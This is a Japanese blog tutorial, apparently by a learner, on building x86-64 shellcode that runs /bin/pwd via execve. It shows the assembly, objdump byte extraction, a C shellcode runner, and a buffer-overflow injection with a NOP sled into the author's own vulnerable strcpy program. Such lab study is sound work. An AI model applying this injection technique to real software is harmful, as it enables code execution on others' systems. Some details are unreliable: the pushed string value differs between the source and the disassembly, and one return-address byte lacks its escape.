Security Record

セキュリティ全般に関する情報を発信しています

C言語でバッファ領域にシェルを埋め込んで実行する方法

まずはexecveの識別子を調べる

execveはシェルコマンドを実行する際に用いられるシステムコールです。
execveの識別子は/usr/include/x86_64-linux-gnu/asm/unistd_64.hというヘッダファイルに定義されています。
この識別子よりgrepコマンドと組み合わせて必要な情報を抜き出します。

┌──(root㉿kali)-[/home/kali/]
└─# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
#define __NR_execveat 322
        
┌──(root㉿kali)-[/home/kali/]
└─# echo "/bin//pwd" | od -tx8z
0000000 77702f2f6e69622f 000000000000000a  >/bin/pwd.<
0000011

上記では/bin/pwdという文字列をodコマンドを使用して、16進数でダンプさせています。
必要な情報は77702f2f6e69622fの部分のみになります。
この識別子をアセンブリ言語に埋め込んでいきます。

odコマンド参考 【 od 】コマンド――ファイルを8進数や16進数でダンプする:Linux基本コマンドTips(93) - @IT

pwdコマンドを実行するアセンブリ言語の実装

アセンブリ言語に先程取得した0x6477702f6e69622fという文字列を記載します。 /bin/pwdという文字列を16進数にダンプした文字列になります。

section .text
    global _start

_start:
    xor rdx, rdx
    push rdx
    mov rax, 0x77702f2f6e69622f 
    push rax
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    lea rax,[rdx+59]
    syscall

アセンブリ言語の実行確認

上記で作成したアセンブリ言語をアセンブルして、実行します。
すると、アセンブリ言語が実行されたディレクトリ(下記の場合は/home/kali/pwd_asm)が表示される事が分かります。

┌──(root㉿kali)-[/home/kali/]
└─# nasm -f elf64 -o pwd_exec.o pwd_exec.asm

┌──(root㉿kali)-[/home/kali/]
└─# ld pwd_exec.o -o pwd_exec 
                                                             
┌──(root㉿kali)-[/home/kali/]
└─# ./pwd_exec                           
/home/kali/pwd_asm

objdumpコマンドによるバイト列の確認

pwdコマンドを実行するアセンブリ言語を逆アセンブルした結果が下記になります。
機械語が記載されているのが確認出来るので、これをバイト列に書き換えます。

┌──(root㉿kali)-[/home/kali/]
└─# objdump -D -M intel pwd_exec

pwd_exec:     ファイル形式 elf64-x86-64


セクション .text の逆アセンブル:

0000000000401000 <_start>:
  401000:   48 31 d2                xor    rdx,rdx
  401003:   52                      push   rdx
  401004:   48 b8 2f 62 69 6e 2f    movabs rax,0x6477702f6e69622f
  40100b:   70 77 64 
  40100e:   50                      push   rax
  40100f:   48 89 e7                mov    rdi,rsp
  401012:   52                      push   rdx
  401013:   57                      push   rdi
  401014:   48 89 e6                mov    rsi,rsp
  401017:   48 8d 42 3b             lea    rax,[rdx+0x3b]
  40101b:   0f 05                   syscall

バイト列を取得してシェルコードを生成する

上記の逆アセンブルした実行結果に記載されている機械語を、バイト列に書き換えます。下記がpwdコマンドの実行に必要なバイト列になります。

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05

ダンプしたメモリをバイト列に書き換えるコマンド

必要な情報のみ抜き取るため、下記コマンドを実行します。

┌──(root㉿kali)-[/home/kali/]
└─# objdump -D -M intel pwd_exec | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05                             

実行確認用のコードをC言語で実装する

取得したバイト列をc言語のソースコードに埋め込み、実行します

#include <stdio.h>
#include <string.h>


void main() {
   char const shellcode[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05";
   (*(void (*)())shellcode)();
}

C言語が実行されたディレクトリが表示されました。
バイト列で表されたpwdコマンドが正しく動作している事が確認できました。

┌──(root㉿kali)-[/home/kali]
└─# ./pwd_shell                                                   
/home/kali

バイパスコードをC言語で実装して動作検証を行う

次に、実行確認用のソースコードではなく、バイパスコードで動作検証を行います。
検証に使用するコードは下記記事でにも掲載してあるものです。
一部serial_buffのサイズを16から64に変更してバッファ領域を広げてありますがそれ以外は同じです。
C言語でバッファオーバーフローのテストをする方法 - Security Record

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_serial(char *serial) {
    int flag = 0;
    char serial_buff[64]; //ここの数字を16から64に変更してバッファ領域を広げた
    strcpy(serial_buff, serial);
    if (strcmp(serial_buff, "SN123456") == 0) flag = 1;

    return flag;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Enter serial number!\n", argv[0]);
        exit(0);
    }

    if (check_serial(argv[1])){
        printf("Serial number is correct.\n");
    } else {
        printf("Serial number is worng.\n");
    }
}

ペイロードを注入して実行する

上記コードにペイロードを注入します。
するとpwdコマンドの実行結果が出力されていることが分かります。 (この辺の理解が特に浅いため、後ほど再度検証する予定。
NOPスレッドを用いて攻撃の成功率を高める方法など。NOPとは「なにもしない」事を指示するもの。)

┌──(root㉿kali)-[/home/kali]
└─# ./bypass2 $(perl -e 'print "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x70\x77\x64\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" . "\x90"x59 . "x30\xe0\xff\xff\xff\x7f";')
/home/kali

まとめ

アセンブリ言語やメモリの見方など前提知識がなく理解は3割程度ですが、 バッファオーバーフローが悪用される手順について、少しずつ分かってきました。

実際の攻撃はこんなにアナログではなくて自動化されていると思います。
それこそ、Metasploit Frameworkのexploitモジュールを探せばすぐに出てくるかもしれません。 でもそういうツールに頼らず、内部でどのような処理が行われるのかを理解することも重要だと思います。